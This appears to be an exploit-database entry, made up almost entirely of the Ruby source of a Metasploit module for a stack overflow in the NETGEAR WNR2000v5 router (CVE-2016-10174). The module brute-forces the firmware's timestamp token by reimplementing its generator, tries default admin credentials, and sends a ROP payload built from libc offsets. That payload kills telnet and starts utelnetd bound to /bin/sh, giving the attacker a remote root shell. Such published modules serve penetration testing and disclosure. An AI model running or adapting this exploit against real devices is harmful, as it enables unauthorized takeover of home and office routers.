NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow

2017.03.24
Credit: Pedro Ribeiro
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'time' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CRand def initialize(info = {}) super(update_info(info, 'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow', 'Description' => %q{ The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi parameter. In order to exploit it, it is necessary to guess the value of a certain timestamp which is in the configuration of the router. An authenticated attacker can simply fetch this from a page, but an unauthenticated attacker has to brute force it. Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but it is guaranteed that it can be bruteforced. This module implements both modes, and it works very reliably. It has been tested with the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware revisions v4 and v3, but this has not been tested - with these routers it might be necessary to adjust the LibcBase variable as well as the gadget addresses. }, 'Author' => [ 'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'References' => [ ['CVE', '2016-10174'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'], ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] ], 'Targets' => [ [ 'NETGEAR WNR2000v5', { 'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so) 'SystemOffset' => 0x547D0, 'GadgetOffset' => 0x2462C, #The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()): #LOAD:0002462C addiu $a0, $sp, 0x40+arg_0 #LOAD:00024630 move $t9, $s0 #LOAD:00024634 jalr $t9 'Payload' => { 'BadChars' => "\x00\x25\x26", 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, } ], ], 'Privileged' => true, 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DisclosureDate' => 'Dec 20 2016', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']), OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']), ], self.class) register_advanced_options( [ OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200]) ], self.class) end def check res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if res && res.headers['WWW-Authenticate'] auth = res.headers['WWW-Authenticate'] if auth =~ /WNR2000v5/ return Exploit::CheckCode::Detected elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/ return Exploit::CheckCode::Unknown end end Exploit::CheckCode::Safe end def uri_encode (str) "%" + str.scan(/.{2}|.+/).join("%") end def calc_address (libc_base, offset) addr = (libc_base + offset).to_s(16) uri_encode(addr) end def get_current_time res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if res && res['Date'] date = res['Date'] return Time.parse(date).strftime('%s').to_i end end def get_auth_timestamp res = send_request_raw({ 'uri' => '/lang_check.html', 'method' => 'GET', # automatically uses HttpPassword and HttpUsername to authenticate }) if res && res.code == 401 # try again, might fail the first time res = send_request_raw({ 'uri' => '/lang_check.html', 'method' => 'GET', # automatically uses HttpPassword and HttpUsername to authenticate }) end if res && res.code == 200 if res.body =~ /timestamp=([0-9]{8})/ $1.to_i end end end # Do some crazyness to force Ruby to cast to a single-precision float and # back to an integer. # This emulates the behaviour of the soft-fp library and the float cast # which is done at the end of Netgear's timestamp generator. def ieee754_round (number) [number].pack('f').unpack('f*')[0].to_i end # This is the actual algorithm used in the get_timestamp function in # the Netgear firmware. def get_timestamp(time) srandom_r time t0 = random_r t1 = 0x17dc65df; hi = (t0 * t1) >> 32; t2 = t0 >> 31; t3 = hi >> 23; t3 = t3 - t2; t4 = t3 * 0x55d4a80; t0 = t0 - t4; t0 = t0 + 0x989680; ieee754_round(t0) end def get_payload rand_text_alpha(36) + # filler_1 calc_address(target['LibcBase'], target['SystemOffset']) + # s0 rand_text_alpha(12) + # s1, s2 and s3 calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget rand_text_alpha(0x40) + # filler_2 "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload end def send_req(timestamp) begin uri_str = (timestamp == nil ? \ "/apply_noauth.cgi?/lang_check.html" : \ "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}") res = send_request_raw({ 'uri' => uri_str, 'method' => 'POST', 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, 'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}" }) rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e return end end def exploit # 1: try to see if the default admin username and password are set timestamp = get_auth_timestamp # 2: now we try two things at once: # one, if the timestamp is not nil then we got an authenticated timestamp, let's try that # two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before) print_status("#{peer} - Trying the easy way out first") send_req(timestamp) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 }) if not sock.nil? print_good("#{peer} - Success, shell incoming!") return handler(sock) end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e sock.close if sock end print_bad("#{peer} - Well that didn't work... let's do it the hard way.") # no shell? let's just go on and bruteforce the timestamp # 3: get the current date from the router and parse it end_time = get_current_time if end_time.nil? fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time") end if end_time <= datastore['TIME_OFFSET'] start_time = 0 else start_time = end_time - datastore['TIME_OFFSET'] end end_time += datastore['TIME_SURPLUS'] if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i end print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.") print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).") # 2: work back from the current router time minus datastore['TIME_OFFSET'] while true for time in end_time.downto(start_time) timestamp = get_timestamp(time) sleep 0.1 if time % 400 == 0 print_status("#{peer} - Still working, trying time #{time}") end send_req(timestamp) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 }) if sock.nil? next end print_status("#{peer} - Success, shell incoming!") return handler(sock) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e sock.close if sock next end end end_time = start_time start_time -= datastore['TIME_OFFSET'] if start_time < 0 if end_time <= datastore['TIME_OFFSET'] fail_with(Failure::Unknown, "#{peer} - Exploit failed.") end start_time = 0 end print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}") # let the router clear the buffers a bit... sleep 30 end end end


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